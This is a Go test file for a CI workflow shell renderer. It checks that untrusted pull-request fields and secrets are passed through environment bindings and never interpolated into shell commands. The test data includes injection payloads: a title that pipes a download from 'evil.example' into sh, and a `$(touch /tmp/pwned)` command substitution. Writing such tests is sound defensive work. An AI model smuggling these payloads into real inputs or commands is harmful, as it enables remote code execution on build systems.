Go · 5225 bytes Raw Blame History
1 // SPDX-License-Identifier: AGPL-3.0-or-later
2
3 package exec
4
5 import (
6 "reflect"
7 "testing"
8
9 "github.com/tenseleyFlow/shithub/internal/actions/expr"
10 )
11
12 func TestRenderShell_TaintedExpressionUsesEnvBinding(t *testing.T) {
13 t.Parallel()
14 ctx := expr.Context{
15 Shithub: expr.ShithubContext{
16 Event: map[string]any{
17 "pull_request": map[string]any{
18 "title": `"; curl evil.example | sh #`,
19 },
20 },
21 },
22 Untrusted: expr.DefaultUntrusted(),
23 }
24 bindings := NewBindings("")
25 got, err := RenderShell(`echo "${{ shithub.event.pull_request.title }}"`, &ctx, bindings)
26 if err != nil {
27 t.Fatalf("RenderShell: %v", err)
28 }
29 if got != `echo "${SHITHUB_INPUT_0}"` {
30 t.Fatalf("command:\ngot %q\nwant %q", got, `echo "${SHITHUB_INPUT_0}"`)
31 }
32 if bindings.Env()["SHITHUB_INPUT_0"] != `"; curl evil.example | sh #` {
33 t.Fatalf("bindings: %#v", bindings.Env())
34 }
35 }
36
37 func TestRenderShell_SensitiveSecretUsesEnvBinding(t *testing.T) {
38 t.Parallel()
39 ctx := expr.Context{
40 Secrets: map[string]string{
41 "TOKEN": "hunter2",
42 },
43 Untrusted: expr.DefaultUntrusted(),
44 }
45 bindings := NewBindings("")
46 got, err := RenderShell(`echo "${{ secrets.TOKEN }}"`, &ctx, bindings)
47 if err != nil {
48 t.Fatalf("RenderShell: %v", err)
49 }
50 if got != `echo "${SHITHUB_INPUT_0}"` {
51 t.Fatalf("command:\ngot %q\nwant %q", got, `echo "${SHITHUB_INPUT_0}"`)
52 }
53 if bindings.Env()["SHITHUB_INPUT_0"] != "hunter2" {
54 t.Fatalf("bindings: %#v", bindings.Env())
55 }
56 }
57
58 func TestRenderStep_EnvTaintPropagatesToRunExpressions(t *testing.T) {
59 t.Parallel()
60 ctx := expr.Context{
61 Shithub: expr.ShithubContext{
62 Event: map[string]any{"title": `$(touch /tmp/pwned)`},
63 },
64 Untrusted: expr.DefaultUntrusted(),
65 }
66 got, err := RenderStep(StepInput{
67 Context: ctx,
68 JobEnv: map[string]string{
69 "TITLE": "${{ shithub.event.title }}",
70 },
71 Run: "echo ${{ env.TITLE }}",
72 })
73 if err != nil {
74 t.Fatalf("RenderStep: %v", err)
75 }
76 if got.Env["TITLE"] != `$(touch /tmp/pwned)` || !got.EnvTaint["TITLE"] {
77 t.Fatalf("env/taint: env=%#v taint=%#v", got.Env, got.EnvTaint)
78 }
79 if got.Run != "echo ${SHITHUB_INPUT_0}" {
80 t.Fatalf("run: %q", got.Run)
81 }
82 if got.Env["SHITHUB_INPUT_0"] != `$(touch /tmp/pwned)` {
83 t.Fatalf("input binding: %#v", got.Env)
84 }
85 }
86
87 func TestRenderStep_EnvSensitivityPropagatesToRunExpressions(t *testing.T) {
88 t.Parallel()
89 ctx := expr.Context{
90 Secrets: map[string]string{"PRIVATE": "from-context"},
91 Untrusted: expr.DefaultUntrusted(),
92 }
93 got, err := RenderStep(StepInput{
94 Context: ctx,
95 JobEnv: map[string]string{
96 "PRIVATE": "${{ secrets.PRIVATE }}",
97 },
98 Run: "echo ${{ env.PRIVATE }}",
99 })
100 if err != nil {
101 t.Fatalf("RenderStep: %v", err)
102 }
103 if got.Env["PRIVATE"] != "from-context" || !got.EnvSensitive["PRIVATE"] {
104 t.Fatalf("env/sensitive: env=%#v sensitive=%#v", got.Env, got.EnvSensitive)
105 }
106 if got.Run != "echo ${SHITHUB_INPUT_0}" {
107 t.Fatalf("run: %q", got.Run)
108 }
109 if got.Env["SHITHUB_INPUT_0"] != "from-context" {
110 t.Fatalf("input binding: %#v", got.Env)
111 }
112 }
113
114 func TestRenderStep_ResolvesTrustedExpressionsInline(t *testing.T) {
115 t.Parallel()
116 got, err := RenderStep(StepInput{
117 Context: expr.Context{
118 Vars: map[string]string{"TARGET": "world"},
119 Untrusted: expr.DefaultUntrusted(),
120 },
121 StepEnv: map[string]string{"GREETING": "hello ${{ vars.TARGET }}"},
122 Run: "echo ${{ env.GREETING }}",
123 })
124 if err != nil {
125 t.Fatalf("RenderStep: %v", err)
126 }
127 if got.Run != "echo hello world" {
128 t.Fatalf("run: %q", got.Run)
129 }
130 wantEnv := map[string]string{"GREETING": "hello world"}
131 if !reflect.DeepEqual(got.Env, wantEnv) {
132 t.Fatalf("env:\ngot %#v\nwant %#v", got.Env, wantEnv)
133 }
134 }
135
136 func TestRenderStep_StepEnvOverrideClearsJobEnvTaint(t *testing.T) {
137 t.Parallel()
138 ctx := expr.Context{
139 Shithub: expr.ShithubContext{Event: map[string]any{"title": "bad"}},
140 Untrusted: expr.DefaultUntrusted(),
141 }
142 got, err := RenderStep(StepInput{
143 Context: ctx,
144 JobEnv: map[string]string{
145 "TITLE": "${{ shithub.event.title }}",
146 },
147 StepEnv: map[string]string{
148 "TITLE": "trusted",
149 },
150 Run: "echo ${{ env.TITLE }}",
151 })
152 if err != nil {
153 t.Fatalf("RenderStep: %v", err)
154 }
155 if got.EnvTaint["TITLE"] {
156 t.Fatalf("step override should clear taint: %#v", got.EnvTaint)
157 }
158 if got.Run != "echo trusted" {
159 t.Fatalf("run: %q", got.Run)
160 }
161 }
162
163 func TestRenderStep_StepEnvOverrideClearsJobEnvSensitivity(t *testing.T) {
164 t.Parallel()
165 ctx := expr.Context{
166 Secrets: map[string]string{"PRIVATE": "from-context"},
167 Untrusted: expr.DefaultUntrusted(),
168 }
169 got, err := RenderStep(StepInput{
170 Context: ctx,
171 JobEnv: map[string]string{
172 "PRIVATE": "${{ secrets.PRIVATE }}",
173 },
174 StepEnv: map[string]string{
175 "PRIVATE": "trusted",
176 },
177 Run: "echo ${{ env.PRIVATE }}",
178 })
179 if err != nil {
180 t.Fatalf("RenderStep: %v", err)
181 }
182 if got.EnvSensitive["PRIVATE"] {
183 t.Fatalf("step override should clear sensitivity: %#v", got.EnvSensitive)
184 }
185 if got.Run != "echo trusted" {
186 t.Fatalf("run: %q", got.Run)
187 }
188 }
189
190 func TestRenderStep_RejectsReservedInputEnv(t *testing.T) {
191 t.Parallel()
192 _, err := RenderStep(StepInput{
193 JobEnv: map[string]string{"SHITHUB_INPUT_0": "collision"},
194 Run: "true",
195 })
196 if err == nil {
197 t.Fatal("RenderStep returned nil error")
198 }
199 }
200